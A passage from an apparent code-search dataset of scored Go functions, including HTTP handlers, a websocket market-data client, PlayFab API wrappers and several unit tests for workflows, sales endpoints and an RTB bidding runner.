+ condition)\n\t\tresponse.SendError(w, http.StatusInternalServerError, itemsNotFound)\n\t\treturn\n\t}\n\n\t// Get all items\n\tdata, err := feinstaub.ReadMeasurements(condition)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tresponse.SendError(w, http.StatusInternalServerError, friendlyError)\n\t\treturn\n\t}\n\n\t// Send json data\n\tif len(data) == 0 {\n\t\tresponse.Send(w, http.StatusOK, itemsNotFound, 0, nil)\n\t} else {\n\t\tresponse.Send(w, http.StatusOK, itemsFound, len(data), data)\n\t}\n}", "title": "" }, { "docid": "fc791e22e93f126ff61d36071352a550", "score": "0.44583505", "text": "func (p *CTPDll) GetMultipleKlines(contracts []string, intervalMinutes int, count int, randomString string) map[string][]KlineValue {\n\n\tif contracts == nil || len(contracts) == 0 || intervalMinutes == 0 || count == 0 || randomString == \"\" {\n\t\tlogger.Errorf(\"Invalid parameters\")\n\t\treturn nil\n\t}\n\n\tklines := make(map[string][]KlineValue)\n\tduration := float64(1000000000 * intervalMinutes * 60)\n\tdialer := Websocket.DefaultDialer\n\n\tconnection, _, err := dialer.Dial(p.URL, nil)\n\n\tif err != nil {\n\t\tlogger.Errorf(\"Fail to dial:%v\", err)\n\t\treturn nil\n\t}\n\n\tvar contractString string\n\tfor _, contract := range contracts {\n\t\tif contractString == \"\" {\n\t\t\tcontractString = contract\n\t\t} else {\n\t\t\tcontractString = contractString + \",\" + contract\n\t\t}\n\t}\n\n\tdefer connection.Close()\n\tstep := 0\n\tvar buffer []interface{}\n\n\tfor {\n\t\t_, message, err := connection.ReadMessage()\n\t\tif err != nil {\n\t\t\tlogger.Errorf(\"Fail to read:%v\", err)\n\t\t\treturn nil\n\t\t}\n\n\t\tvar response map[string]interface{}\n\n\t\tif err = json.Unmarshal([]byte(message), &response); err != nil {\n\t\t\tlogger.Errorf(\"Fail to Unmarshal:%v\", err)\n\t\t\treturn nil\n\t\t}\n\n\t\tlog.Printf(\"[%s]Reseponse\", time.Now().Format(\"2006-01-02 15:04:05.999999999\"))\n\t\tif step == 2 || step == 3 {\n\t\t\tdata := response[\"data\"].([]interface{})\n\t\t\t// log.Printf(\"LENGTH:%v\", len(data))\n\n\t\t\tif data != nil && len(data) > 0 { // if == 2, the datas are not ready in the server\n\n\t\t\t\tif data[len(data)-2].(map[string]interface{})[\"charts\"] != nil &&\n\t\t\t\t\tdata[len(data)-2].(map[string]interface{})[\"charts\"].(map[string]interface{})[randomString].(map[string]interface{})[\"left_id\"].(float64) == -1 {\n\t\t\t\t\tlog.Printf(\"Invalid data, resend peek\")\n\t\t\t\t\tcommand := map[string]interface{}{\n\t\t\t\t\t\t\"aid\": \"peek_message\",\n\t\t\t\t\t}\n\t\t\t\t\tsend(connection, command)\n\t\t\t\t\tcontinue\n\t\t\t\t} else if data[len(data)-2].(map[string]interface{})[\"mdhis_more_data\"] == true {\n\n\t\t\t\t\tlog.Printf(\"more datas reserved, resend peek\")\n\t\t\t\t\tcommand := map[string]interface{}{\n\t\t\t\t\t\t\"aid\": \"peek_message\",\n\t\t\t\t\t}\n\t\t\t\t\tsend(connection, command)\n\n\t\t\t\t\tfor _, tmp := range data[0 : len(data)-2] {\n\t\t\t\t\t\ttmpString, _ := json.Marshal(tmp)\n\t\t\t\t\t\tif strings.Contains(string(tmpString), \"binding\") {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif strings.Count(string(tmpString), \"datetime\") < 10 { // how about 10?\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbuffer = append(buffer, tmp)\n\t\t\t\t\t}\n\n\t\t\t\t\tcontinue\n\t\t\t\t} else {\n\t\t\t\t\tfor _, tmp := range data[0 : len(data)-2] {\n\t\t\t\t\t\ttmpString, _ := json.Marshal(tmp)\n\t\t\t\t\t\tif strings.Contains(string(tmpString), \"binding\") {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif strings.Count(string(tmpString), \"datetime\") < 10 {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbuffer = append(buffer, tmp)\n\t\t\t\t\t}\n\n\t\t\t\t\t// for key, value := range buffer {\n\t\t\t\t\t// \tlog.Printf(\"Key:%v value:%v\", key, value)\n\t\t\t\t\t// }\n\n\t\t\t\t\t// return nil\n\n\t\t\t\t\tfor i, contract := range contracts {\n\t\t\t\t\t\t// log.Printf(\"[Index %d] %v\", i, data[i])\n\t\t\t\t\t\tdata := buffer[i].(map[string]interface{})[\"klines\"].(map[string]interface{})\n\t\t\t\t\t\tif data != nil {\n\t\t\t\t\t\t\t// log.Printf(\"data:%v contract:%v\", data, contract)\n\t\t\t\t\t\t\tif data[contract] != nil {\n\t\t\t\t\t\t\t\tvalues := data[contract].(map[string]interface{})\n\t\t\t\t\t\t\t\tif values != nil {\n\t\t\t\t\t\t\t\t\tdutrationStr := strconv.Itoa(int(duration))\n\t\t\t\t\t\t\t\t\tdatas := values[dutrationStr].(map[string]interface{})\n\t\t\t\t\t\t\t\t\tif datas[\"data\"] != nil {\n\t\t\t\t\t\t\t\t\t\tfor _, data := range datas[\"data\"].(map[string]interface{}) {\n\t\t\t\t\t\t\t\t\t\t\ttmp := data.(map[string]interface{})\n\t\t\t\t\t\t\t\t\t\t\tklines[contract] = append(klines[contract], KlineValue{\n\t\t\t\t\t\t\t\t\t\t\t\tTime: time.Unix(int64(tmp[\"datetime\"].(float64)/1000000000.0), 0).Format(\"2006-01-02 15:04:05\"),\n\t\t\t\t\t\t\t\t\t\t\t\tOpenTime: tmp[\"datetime\"].(float64) / 1000000000.0,\n\t\t\t\t\t\t\t\t\t\t\t\tOpen: tmp[\"open\"].(float64),\n\t\t\t\t\t\t\t\t\t\t\t\tHigh: tmp[\"high\"].(float64),\n\t\t\t\t\t\t\t\t\t\t\t\tLow: tmp[\"low\"].(float64),\n\t\t\t\t\t\t\t\t\t\t\t\tClose: tmp[\"close\"].(float64),\n\t\t\t\t\t\t\t\t\t\t\t\tVolumn: tmp[\"volume\"].(float64),\n\t\t\t\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tsort.Sort(KlineSort(klines[contract]))\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\treturn nil\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn klines\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t\tcommand := make(map[string]interface{})\n\n\t\tswitch step {\n\t\tcase 0:\n\t\t\tstep++\n\t\t\tcommand = map[string]interface{}{\n\t\t\t\t\"aid\": \"peek_message\",\n\t\t\t}\n\t\t\tsend(connection, command)\n\t\tcase 1:\n\t\t\tstep++\n\t\t\tcommand = map[string]interface{}{\n\t\t\t\t\"aid\": \"set_chart\", // 必填, 请求图表数据\n\t\t\t\t\"chart_id\": randomString, // 必填, 图表id, 服务器只会维护每个id收到的最后一个请求的数据\n\t\t\t\t\"ins_list\": contractString, // 必填, 填空表示删除该图表,多个合约以逗号分割,第一个合约是主合约,所有id都是以主合约为准\n\t\t\t\t\"duration\": duration, // 必填, 周期,单位ns, tick:0, 日线: 3600 * 24 * 1000 * 1000 * 1000\n\t\t\t\t\"view_width\": count, // 必填, 图表宽度, 请求最新N个数据,并保持滚动(新K线生成会移动图表)\n\t\t\t}\n\t\t\tsend(connection, command)\n\n\t\t\ttime.Sleep(100 * time.Microsecond)\n\n\t\t\tcommand = map[string]interface{}{\n\t\t\t\t\"aid\": \"peek_message\",\n\t\t\t}\n\t\t\tsend(connection, command)\n\t\tcase 2:\n\t\t\tstep++\n\t\t\ttime.Sleep(100 * time.Microsecond)\n\t\t\tcommand = map[string]interface{}{\n\t\t\t\t\"aid\": \"peek_message\",\n\t\t\t}\n\t\t\tsend(connection, command)\n\t\t}\n\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "bcf36718cfd4b0d9487a4052b99975de", "score": "0.44526425", "text": "func TestFlow(t *testing.T) {\n\trequire := require.New(t)\n\n\tjob1 := func(ctx context.Context, postman main.Postman) {\n\t\tvar (\n\t\t\tp *main.Param\n\t\t\terr error\n\t\t)\n\t\t// blocking receive\n\t\tfor p == nil {\n\t\t\tp, err = postman.Receive(ctx)\n\t\t\tif err != nil {\n\t\t\t\trequire.True(errors.Is(err, main.ErrFlowKilled))\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tfor !postman.Send(ctx, *p) {\n\t\t\t// blocking until the value is sent\n\t\t}\n\t}\n\n\tjob2 := func(ctx context.Context, postman main.Postman) {\n\t\tvar (\n\t\t\tp *main.Param\n\t\t\terr error\n\t\t\ttotal int\n\t\t)\n\t\t// blocking receive\n\t\tfor p == nil {\n\t\t\tp, err = postman.Receive(ctx)\n\t\t\tif err != nil {\n\t\t\t\trequire.True(errors.Is(err, main.ErrFlowKilled))\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\trequire.NotZero(p.Value.(int) % 2)\n\n\t\ttotal += p.Value.(int)\n\n\t\tfor !postman.Send(ctx, main.Param{Value: total}) {\n\t\t\t// blocking until the total is sent\n\t\t}\n\t}\n\n\tjob3 := func(ctx context.Context, postman main.Postman) {\n\t\tvar (\n\t\t\tp *main.Param\n\t\t\terr error\n\t\t\ttotal int\n\t\t)\n\t\t// blocking receive\n\t\tfor p == nil {\n\t\t\tp, err = postman.Receive(ctx)\n\t\t\tif err != nil {\n\t\t\t\trequire.True(errors.Is(err, main.ErrFlowKilled))\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\trequire.Zero(p.Value.(int) % 2)\n\n\t\ttotal += p.Value.(int)\n\n\t\tfor !postman.Send(ctx, main.Param{Value: total}) {\n\t\t\t// blocking until the total is sent\n\t\t}\n\t}\n\n\t// This job receives the accumulators from jobs 2 and 3\n\t// and adds them. When it has read all the numbers of the list,\n\t// outputs the total\n\tvar (\n\t\toutputChan = make(chan bool)\n\t\tvalues = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20}\n\t\tallValuesRead = make(chan struct{})\n\t\treadValues int\n\t\ttotal int\n\t)\n\tjob4 := func(ctx context.Context, postman main.Postman) {\n\t\tvar (\n\t\t\treceived *main.Param\n\t\t\terr error\n\t\t)\n\t\tconst expectedAmount = 210\n\n\t\t// blocking receive\n\t\tfor received == nil {\n\t\t\treceived, err = postman.Receive(ctx)\n\t\t\tif err != nil {\n\t\t\t\trequire.True(errors.Is(err, main.ErrFlowKilled))\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\ttotal += received.Value.(int)\n\t\treadValues++\n\t\tif readValues == len(values) {\n\t\t\toutputChan <- (total == expectedAmount)\n\t\t\tclose(allValuesRead)\n\t\t}\n\t}\n\n\tw1InChan := make(chan main.Param)\n\tworker1 := main.NewWorker(\n\t\tnil,\n\t\tjob1,\n\t\tmain.NameWOpt(\"w1\"),\n\t\tmain.AddOrphanInWOpt(w1InChan),\n\t\tmain.AddInfoFuncWOpt(main.Infof),\n\t\tmain.ErrHndFuncWOpt(errHndFunc),\n\t)\n\n\tworker2 := main.NewWorker(\n\t\t[]*main.Worker{&worker1},\n\t\tjob2,\n\t\tmain.NameWOpt(\"w2\"),\n\t\tmain.AddInFilterFuncWOpt(func(p main.Param) bool {\n\t\t\treturn p.Value.(int)%2 != 0\n\t\t}),\n\t\tmain.AddInfoFuncWOpt(main.Infof),\n\t\tmain.ErrHndFuncWOpt(errHndFunc),\n\t)\n\n\tworker3 := main.NewWorker(\n\t\t[]*main.Worker{&worker1},\n\t\tjob3,\n\t\tmain.NameWOpt(\"w3\"),\n\t\tmain.AddInFilterFuncWOpt(func(p main.Param) bool {\n\t\t\treturn p.Value.(int)%2 == 0\n\t\t}),\n\t\tmain.AddInfoFuncWOpt(main.Infof),\n\t\tmain.ErrHndFuncWOpt(errHndFunc),\n\t)\n\n\tworker4 := main.NewWorker(\n\t\t[]*main.Worker{&worker2, &worker3},\n\t\tjob4,\n\t\tmain.NameWOpt(\"w4\"),\n\t\tmain.AddInfoFuncWOpt(main.Infof),\n\t\tmain.ErrHndFuncWOpt(errHndFunc),\n\t)\n\n\t// create the flow\n\tctx, cancelFunc := context.WithCancel(context.Background())\n\tflow := main.NewFlow(ctx, main.AddInfoFuncFOpt(main.Infof))\n\n\t// Add workers to the workflow\n\tflow.AddWorker(worker1)\n\tflow.AddWorker(worker2)\n\tflow.AddWorker(worker3)\n\tflow.AddWorker(worker4)\n\n\t// Start the workflow\n\tflow.Run()\n\n\t// Start the flow output consumer\n\tvar amountOK bool\n\tconsumerFinished := make(chan struct{})\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\tclose(consumerFinished)\n\t\t\t\treturn\n\t\t\tcase amountOK = <-outputChan:\n\t\t\t}\n\t\t}\n\t}()\n\n\t// Start to feed the flow\n\tfor _, v := range values {\n\t\tw1InChan <- main.Param{Value: v}\n\t}\n\n\t<-allValuesRead\n\tflow.Kill()\n\tcancelFunc()\n\t<-consumerFinished\n\n\trequire.True(amountOK)\n}", "title": "" }, { "docid": "9b4a2022365168892fe448633e9a55fc", "score": "0.44286123", "text": "func TestHandler_URLMappingPostRecapSalesFailSalesUndecrypt(t *testing.T) {\n\t// buat dummy partner\n\tpartnr := model.DummyPartnership()\n\tpartnr.IsDeleted = int8(0)\n\tpartnr.PartnershipType = \"customer\"\n\tpartnr.Save()\n\t// buat dummy so\n\tso1 := model.DummySalesOrder()\n\tso1.IsDeleted = int8(0)\n\tso1.DocumentStatus = \"finished\"\n\tso1.TotalCharge = float64(20000)\n\tso1.Customer = partnr\n\tso1.Save()\n\tso2 := model.DummySalesOrder()\n\tso2.IsDeleted = int8(0)\n\tso2.DocumentStatus = \"finished\"\n\tso2.TotalCharge = float64(30000)\n\tso2.Customer = partnr\n\tso2.Save()\n\n\t// melakukan proses login\n\tuser := model.DummyUserPriviledgeWithUsergroup(1)\n\tsd, _ := auth.Login(user)\n\ttoken := \"Bearer \" + sd.Token\n\n\t// setting body\n\tscenario := tester.D{\n\t\t\"partnership\": common.Encrypt(partnr.ID),\n\t\t\"recap_sales_items\": []tester.D{\n\t\t\t{\n\t\t\t\t\"sales_order\": \"aaaaa\",\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"sales_order\": common.Encrypt(so2.ID),\n\t\t\t},\n\t\t},\n\t}\n\t// test\n\tng := tester.New()\n\tng.SetHeader(tester.H{\"Authorization\": token})\n\tng.POST(\"/v1/recap-sales\").SetJSON(scenario).Run(test.Router(), func(res tester.HTTPResponse, req tester.HTTPRequest) {\n\t\tassert.Equal(t, int(422), res.Code, fmt.Sprintf(\"\\nreason: Validation Not Matched,\\ndata: %v , \\nresponse: %v\", scenario, res.Body.String()))\n\t})\n\n}", "title": "" }, { "docid": "583326d37d9f90d1b7133ac08bab3d1c", "score": "0.43993133", "text": "func ListServerBackfillTicketsForPlayer(settings *playfab.Settings, postData *ListServerBackfillTicketsForPlayerRequestModel, entityToken string) (*ListServerBackfillTicketsForPlayerResultModel, error) {\n if entityToken == \"\" {\n return nil, playfab.NewCustomError(\"entityToken should not be an empty string\", playfab.ErrorGeneric)\n }\n b, errMarshal := json.Marshal(postData)\n if errMarshal != nil {\n return nil, playfab.NewCustomError(errMarshal.Error(), playfab.ErrorMarshal)\n }\n\n sourceMap, err := playfab.Request(settings, b, \"/Match/ListServerBackfillTicketsForPlayer\", \"X-EntityToken\", entityToken)\n if err != nil {\n return nil, err\n }\n \n result := &ListServerBackfillTicketsForPlayerResultModel{}\n\n config := mapstructure.DecoderConfig{\n DecodeHook: playfab.StringToDateTimeHook,\n Result: result,\n }\n \n decoder, errDecoding := mapstructure.NewDecoder(&config)\n if errDecoding != nil {\n return nil, playfab.NewCustomError(errDecoding.Error(), playfab.ErrorDecoding)\n }\n \n errDecoding = decoder.Decode(sourceMap)\n if errDecoding != nil {\n return nil, playfab.NewCustomError(errDecoding.Error(), playfab.ErrorDecoding)\n }\n\n return result, nil\n}", "title": "" }, { "docid": "53db62a7adc08c35c3d4c305be32a88b", "score": "0.43934166", "text": "func Getv40(w http.ResponseWriter, r *http.Request) {\n\tinf, userErr, sysErr, errCode := api.NewInfo(r, nil, []string{\"days\", \"limit\"})\n\tif userErr != nil || sysErr != nil {\n\t\tapi.HandleErr(w, r, inf.Tx.Tx, errCode, userErr, sysErr)\n\t\treturn\n\t}\n\tdefer inf.Close()\n\tdays := DefaultLogDays\n\tif pDays, ok := inf.IntParams[\"days\"]; ok {\n\t\tdays = pDays\n\t}\n\n\ta := tc.Alerts{}\n\tsetLastSeenCookie(w)\n\tlogs, count, err := getLogV40(inf, days)\n\n\tif err != nil {\n\t\ta.AddNewAlert(tc.ErrorLevel, err.Error())\n\t\tapi.WriteAlerts(w, r, http.StatusInternalServerError, a)\n\t\treturn\n\t}\n\tvar result interface{}\n\tvar logsV5 []tc.LogV5\n\tif inf.Version.GreaterThanOrEqualTo(&api.Version{\n\t\tMajor: 5,\n\t\tMinor: 0,\n\t}) {\n\t\tfor _, l := range logs {\n\t\t\tlogV5 := l.Upgrade()\n\t\t\tlogsV5 = append(logsV5, logV5)\n\t\t}\n\t\tresult = logsV5\n\t} else {\n\t\tresult = logs\n\t}\n\tif a.HasAlerts() {\n\t\tapi.WriteAlertsObj(w, r, 200, a, result)\n\t} else {\n\t\tapi.WriteRespWithSummary(w, r, result, count)\n\t}\n}", "title": "" }, { "docid": "7238241881f8edcfc161e0cd1c2a8433", "score": "0.43886787", "text": "func Test_Get(t *testing.T) {\n\th := NewHttpSend(GetUrlBuild(\"http://192.168.10.76/lotus/lotustest\", map[string]string{\"name\": \"xiaochuan\"}))\n\tbody, err := h.Get()\n\tif err != nil {\n\t\tt.Error(\"请求错误:\", err)\n\t\t//t.Errorf(err.Error())\n\t\tt.Fail()\n\t} else {\n\t\tt.Log(\"正常返回\")\n\n\t\tvar out bytes.Buffer\n\t\terr = json.Indent(&out, body, \"\", \"\\t\")\n\t\tfmt.Println(out.String())\n\t}\n}", "title": "" }, { "docid": "3c8665031cff9fc3b04f508c46c2f0e8", "score": "0.43800008", "text": "func sleepAPI(w http.ResponseWriter, req *http.Request) {\n\tlog.Printf(\"PreSleep : %s\", req.Body)\n\ttime.Sleep(30 * time.Second)\n\tlog.Printf(\"PostSleep : %s\", req.Body)\n\tjson.NewEncoder(w).Encode(&Response{StatusCode: 1, Message: \"Sleep Successfully\"})\n}", "title": "" }, { "docid": "9b1a21461ffbb179ee8ab7026453e7f7", "score": "0.43741593", "text": "func BackoffDPTransaction(w http.ResponseWriter, r *http.Request) {\r\n\r\n\tClientCode := r.URL.Query().Get(\"ClientCode\")\r\n\r\n\tconfig := CheckConfig()\r\n\r\n\turl := config.ServiceURL + \"BackoffDPTransaction\"\r\n\r\n\tmethod := \"POST\"\r\n\r\n\theader := Header{AppName: config.AppName, AppVer: config.AppVer, Key: config.Key, OsName: config.OsName, RequestCode: config.RequestCodeBackoffDPTransaction, UserID: config.UserID, Password: config.Password}\r\n\r\n\tbody := BackoffMutualFundTranBody{ClientCode: ClientCode, FromDate: \"20190101\", ToDate: \"20201001\"}\r\n\r\n\tBackDPTransactionData := BackMutualFundTranBodyReq{Head: header, Body: body}\r\n\r\n\tdata, _ := json.Marshal(BackDPTransactionData)\r\n\r\n\tpayload := strings.NewReader(string(data))\r\n\r\n\tbodyString := HTTPClient(method, url, payload)\r\n\tjson.NewEncoder(w).Encode(bodyString)\r\n\r\n\tvar BackoffLedgerRes BackoffLedgerResponse\r\n\r\n\t// json to golang struct\r\n\tjson.Unmarshal([]byte(bodyString), &BackoffLedgerRes)\r\n\tfmt.Printf(\"Message: %s, StatusDescription: %s\", BackoffLedgerRes.Body.Message, BackoffLedgerRes.Head.StatusDescription)\r\n\r\n}", "title": "" }, { "docid": "6120decc26435189b92c2d85294eacdd", "score": "0.43697616", "text": "func (handler *Handlers)GetTasks(w http.ResponseWriter,req *http.Request) {\n log.Println(\"getting task list of current user from startDate to endDate\")\n w.Header().Set(\"Content-Type\", \"application/json\")\n username := token.GetUserName(w, req)\n\n filter := newFilter() //initialize dateFilter\n err := json.NewDecoder(req.Body).Decode(&filter) //parse startDate and endDate from response body\n if err != nil {\n fmt.Fprintln(w, err.Error())\n return\n }\n\n startDate, endDate, dateError := validation.ValidateDate(filter.StartDate, filter.EndDate) //validate Date\n if dateError != nil {\n fmt.Fprintln(w, dateError)\n return\n }\n\n //get all tasks from database of current user from startDate to endDate\n taskList, err := handler.Repository.GetTasks(username, startDate, endDate)\n if err != nil {\n fmt.Fprintln(w, err)\n return\n }\n if taskList == nil {\n fmt.Fprintln(w, \"No tasks assigned\")\n return\n }\n err = json.NewEncoder(w).Encode(taskList) //display task\n if err == nil {\n log.Println(\"task displayed\")\n }\n}", "title": "" }, { "docid": "4935e26144a4b75f7b953f639ed11a57", "score": "0.43636733", "text": "func TestHttpRunnerService_Run_Expansion(t *testing.T) {\n\tmanager := endly.New()\n\tservice, err := manager.Service(runner.ServiceID)\n\tassert.Nil(t, err)\n\tassert.NotNil(t, service)\n\tcontext := manager.NewContext(toolbox.NewContext())\n\tresponse := service.Run(context, &runner.SendRequest{\n\t\tRequests: []*runner.Request{\n\t\t\t{\n\t\t\t\tURL: \"http://127.0.0.1:9880/d/rtbv2/rubicon/bidder\",\n\t\t\t\tMethod: \"POST\",\n\t\t\t\tBody: \"{\\\"at\\\":3,\\\"cur\\\":[\\\"USD\\\"],\\\"device\\\":{\\\"devicetype\\\":2,\\\"geo\\\":{\\\"country\\\":\\\"usa\\\",\\\"lat\\\":0,\\\"lon\\\":0},\\\"ip\\\":\\\"207.255.87.114\\\",\\\"language\\\":\\\"en\\\",\\\"ua\\\":\\\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.19 Safari/537.36\\\"},\\\"ext\\\":{\\\"adtricity\\\":{\\\"score\\\":1.8497373,\\\"viewability\\\":56.984},\\\"xid\\\":\\\"2820387111204119977\\\"},\\\"id\\\":\\\"5d9bfb65-cf1c-2753-a392-42010af177d7\\\",\\\"imp\\\":[{\\\"bidfloor\\\":0,\\\"bidfloorcur\\\":\\\"USD\\\",\\\"id\\\":\\\"1\\\",\\\"pmp\\\":{\\\"deals\\\":[{\\\"at\\\":3,\\\"bidfloor\\\":1,\\\"bidfloorcur\\\":\\\"USD\\\",\\\"ext\\\":{\\\"dealpoints\\\":\\\"OPTION_BID\\\"},\\\"id\\\":\\\"rubicon_high_forecast\\\"}],\\\"private_auction\\\":1},\\\"secure\\\":1,\\\"video\\\":{\\\"api\\\":[2],\\\"battr\\\":[],\\\"boxingallowed\\\":1,\\\"delivery\\\":[1,2],\\\"h\\\":250,\\\"linearity\\\":1,\\\"maxbitrate\\\":0,\\\"maxduration\\\":15,\\\"mimes\\\":[\\\"video/webm\\\",\\\"video/mp4\\\",\\\"video/x-flv\\\",\\\"application/javascript\\\"],\\\"minbitrate\\\":300,\\\"minduration\\\":1,\\\"playbackmethod\\\":[1],\\\"protocols\\\":[5,2,3],\\\"startdelay\\\":0,\\\"w\\\":300}}],\\\"site\\\":{\\\"cat\\\":[\\\"IAB24\\\"],\\\"domain\\\":\\\"popularmechanics.com\\\",\\\"id\\\":\\\"554257\\\",\\\"name\\\":\\\"popularmechanics.com\\\",\\\"page\\\":\\\"http://www.popularmechanics.com/science/animals/a13205/this-is-what-an-electric-eel-shocks-does-17493859/\\\",\\\"ref\\\":\\\"http://www.popularmechanics.com/science/animals/a13205/this-is-what-an-electric-eel-shocks-does-17493859/\\\"},\\\"ts\\\":\\\"1520538483963\\\",\\\"user\\\":{\\\"id\\\":\\\"74e24e93-b7a0-408a-8c29-e18f823ceac6\\\"}}\",\n\t\t\t\tRepeater: &endly.Repeater{\n\t\t\t\t\tExtraction: []*endly.Extract{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"winNoticePath\",\n\t\t\t\t\t\t\tRegExpr: \"(/rubicon/won[^\\\"]+)\",\n\t\t\t\t\t\t\tReset: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tVariables: endly.Variables{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"AUCTION_ID\",\n\t\t\t\t\t\t\tFrom: \"id\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"AUCTION_BID_ID\",\n\t\t\t\t\t\t\tFrom: \"seatbid[0].bid[0].id\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"AUCTION_IMP_ID\",\n\t\t\t\t\t\t\tFrom: \"seatbid[0].bid[0].impid\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"AUCTION_SEAT_ID\",\n\t\t\t\t\t\t\tFrom: \"seatbid[0].seat\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"AUCTION_CURRENCY\",\n\t\t\t\t\t\t\tFrom: \"cur\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"AUCTION_PRICE:BF\",\n\t\t\t\t\t\t\tValue: \"54F0C3E48BF91D38E6FDE072443AF70A\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"winNoticeURL\",\n\t\t\t\t\t\t\tValue: \"http://127.0.0.1:8990/logger/rtb${winNoticePath}\",\n\t\t\t\t\t\t\tFrom: \"\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tWhen: \"$responses[0].Body:/rubicon/won\",\n\t\t\t\tURL: \"${previous.winNoticeURL}\",\n\t\t\t\tMethod: \"GET\",\n\t\t\t\tRepeater: &endly.Repeater{\n\t\t\t\t\tExtraction: []*endly.Extract{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"csImpPath\",\n\t\t\t\t\t\t\tRegExpr: \"(/csimp/pixel[^\\\\]]+)\",\n\t\t\t\t\t\t\tReset: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"secondWinPath\",\n\t\t\t\t\t\t\tRegExpr: \"(/rubicon/won[^\\\\]]+)\",\n\t\t\t\t\t\t\tReset: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tVariables: endly.Variables{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"csImpURL\",\n\t\t\t\t\t\t\tValue: \"http://127.0.0.1:8990/logger${csImpPath}\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"secondWinURL\",\n\t\t\t\t\t\t\tValue: \"http://127.0.0.1:8990/logger${secondWinPath}\",\n\t\t\t\t\t\t\tPersist: false,\n\t\t\t\t\t\t\tRequired: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tWhen: \"csimp/pixel\",\n\t\t\t\tURL: \"${previous.csImpURL}\",\n\t\t\t\tMethod: \"GET\",\n\t\t\t},\n\t\t},\n\t})\n\tassert.Equal(t, \"\", response.Error)\n\tsendResponse, ok := response.Response.(*runner.SendResponse)\n\tassert.True(t, ok)\n\tassert.EqualValues(t, 3, len(sendResponse.Responses))\n\tfor i, response := range sendResponse.Responses {\n\t\tassert.EqualValues(t, 200, response.Code, fmt.Sprintf(\"Incorrect code from response number:%d\", i))\n\t}\n\n}", "title": "" }, { "docid": "6acb282ca3b9abfebd398c7653539e89", "score": "0.43624824", "text": "func tearDown(url string) {\n\tvar errTransactions int64\n\terrTransactions = 0\n\tfmt.Println(\"....... State transfer is happening, Lets take a nap for 2 mins ......\")\n\tsleep(120)\n\tval1, val2 := queryChaincode(counter)\n\tfmt.Println(\"========= After Query Vals A = \",val1,\" \\n B = \", val2,\"\\n\")\n\n/*\theight := getChainHeight(url) //Remove hardcoding ??\n\tfmt.Println(\"========= Total Blocks #\", height)\n\tfor i := 1; i < height; i++ {\n\t\t//TODO: Don't hard code IP , can we take this as argument ?\n\t\tnonHashData := chaincode.ChaincodeBlockTrxInfo(url, i)\n\t\tlength := len(nonHashData.TransactionResult)\n\t\tfor j := 0; j < length; j++ {\n\t\t\tif nonHashData.TransactionResult[j].ErrorCode > 0 {\n\t\t\t\tfmt.Printf(\"\\n========= Block[%d] Trx#[%s] UUID [%d] ErrorCode [%d] Error: %s\\n\", i, counter, nonHashData.TransactionResult[j].Uuid, nonHashData.TransactionResult[j].ErrorCode, 